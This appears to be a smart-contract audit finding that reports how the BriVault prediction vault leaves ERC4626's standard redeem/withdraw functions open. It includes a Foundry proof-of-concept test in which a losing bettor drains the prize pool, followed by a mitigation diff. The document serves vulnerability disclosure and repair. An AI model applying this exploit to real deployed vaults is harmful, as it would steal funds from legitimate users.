BriVault
First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Incomplete ERC4626 Override Allows Users to Bypass All Game Logic and Drain the Prize Pool

3mr_obito4

Root + Impact

Description

  • The BriVault contract is designed as a specialized prediction vault. The intended behavior is that funds are locked until the event concludes, at which point only the winners can claim a share of the total prize pool.

  • The contract inherits from OpenZeppelin's standard ERC4626, but it only overrides the deposit function. It critically fails to override the standard asset withdrawal functions: withdraw(uint256 assets, ...) and redeem(uint256 shares, ...). These functions from the parent contract remain public and retain their original logic, which is to allow any shareholder to redeem their shares for underlying assets at any time. This provides a backdoor that completely bypasses the custom withdraw() logic that checks for winners, allowing any user to exit their position and retrieve their stake.

contract BriVault is ERC4626, Ownable {
// ... custom logic and variables ...
​
// The contract correctly overrides deposit():
function deposit(
uint256 assets,
address receiver
) public override returns (uint256) {
// ... custom deposit logic ...
}
​
// It has a custom withdraw() function for winners:
function withdraw() external winnerSet {
// ... winner-checking logic ...
}

Risk

Likelihood:

  • This vulnerability is triggered by calling standard, well-documented functions of the ERC4626 interface.

  • No special conditions are required; any user who has deposited and received shares can immediately exploit this.

Impact:

  • Total Bypass of Game Logic:The contract's core premise is broken. There is no lock-up period, and the risk of losing one's stake is eliminated.

  • Prize Pool Draining:** A user who realizes they have lost the bet can call `redeem()` before the winner claims their prize. This removes their stake from the prize pool, directly reducing the amount available for the legitimate winner.

Proof of Concept

  1. It allows a loser to unfairly retrieve their stake.

  2. This act of draining funds can cause a Denial of Service for the legitimate winner, making their withdraw() transaction revert and preventing them from claiming even the remaining portion of the prize pool.

function test_POC_LoserCanDrainPrizePoolViaStandardRedeem() public {
vm.startPrank(owner);
briVault.setCountry(countries);
vm.stopPrank();
​
uint256 depositAmount = 10 ether;
​
vm.startPrank(user1); // The future Winner
mockToken.approve(address(briVault), depositAmount);
uint256 winnerShares = briVault.deposit(depositAmount, user1);
briVault.joinEvent(4); // Bets on Brazil
vm.stopPrank();
​
vm.startPrank(user2); // The Loser
mockToken.approve(address(briVault), depositAmount);
uint256 loserShares = briVault.deposit(depositAmount, user2);
briVault.joinEvent(10); // Bets on Japan
vm.stopPrank();
​
vm.warp(eventEndDate + 1 days);
vm.startPrank(owner);
briVault.setWinner(4); // Brazil wins
vm.stopPrank();
​
uint256 initialPrizePool = briVault.finalizedVaultAsset();
console2.log("Prize pool before exploit:", initialPrizePool);
assertGt(initialPrizePool, depositAmount);
​
vm.startPrank(user2);
uint256 balanceBeforeRedeem = mockToken.balanceOf(user2);
ERC4626(address(briVault)).redeem(loserShares, user2, user2);
uint256 balanceAfterRedeem = mockToken.balanceOf(user2);
vm.stopPrank();
​
assertGt(
balanceAfterRedeem,
balanceBeforeRedeem,
"Loser should have gotten funds back"
);
​
uint256 prizePoolAfterExploit = mockToken.balanceOf(address(briVault));
console2.log("Prize pool after exploit:", prizePoolAfterExploit);
assertLt(
prizePoolAfterExploit,
initialPrizePool,
"Prize pool was drained by the loser"
);
​
uint256 winnerBalanceBefore = mockToken.balanceOf(user1);
vm.startPrank(user1);
briVault.withdraw();
uint256 winnerBalanceAfter = mockToken.balanceOf(user1);
vm.stopPrank();
​
uint256 expectedWinnings = prizePoolAfterExploit;
assertEq(winnerBalanceAfter - winnerBalanceBefore, expectedWinnings);
}

Recommended Mitigation

To enforce the contract's intended logic, you must explicitly disable the standard ERC4626 withdrawal and redeem functions. The best practice is to override them and have them revert with a clear error message. It is also wise to rename your custom withdraw function to avoid confusion.

- function withdraw() external winnerSet {
+ function claimWinnings() external winnerSet {
if (block.timestamp < eventEndDate) {
revert eventNotEnded();
}
// ... rest of function ...
}
​
+ /// @dev The standard `withdraw` function is disabled to enforce the vault's game logic. Use `claimWinnings`.
+ function withdraw(uint256, address, address) public pure override returns (uint256) {
+ revert("BriVault: Standard withdraw disabled. Use claimWinnings().");
+ }
+
+ /// @dev The standard `redeem` function is disabled to enforce the vault's game logic.
+ function redeem(uint256, address, address) public pure override returns (uint256) {
+ revert("BriVault: Standard redeem disabled.");
+ }
}
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Unrestricted ERC4626 functions

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!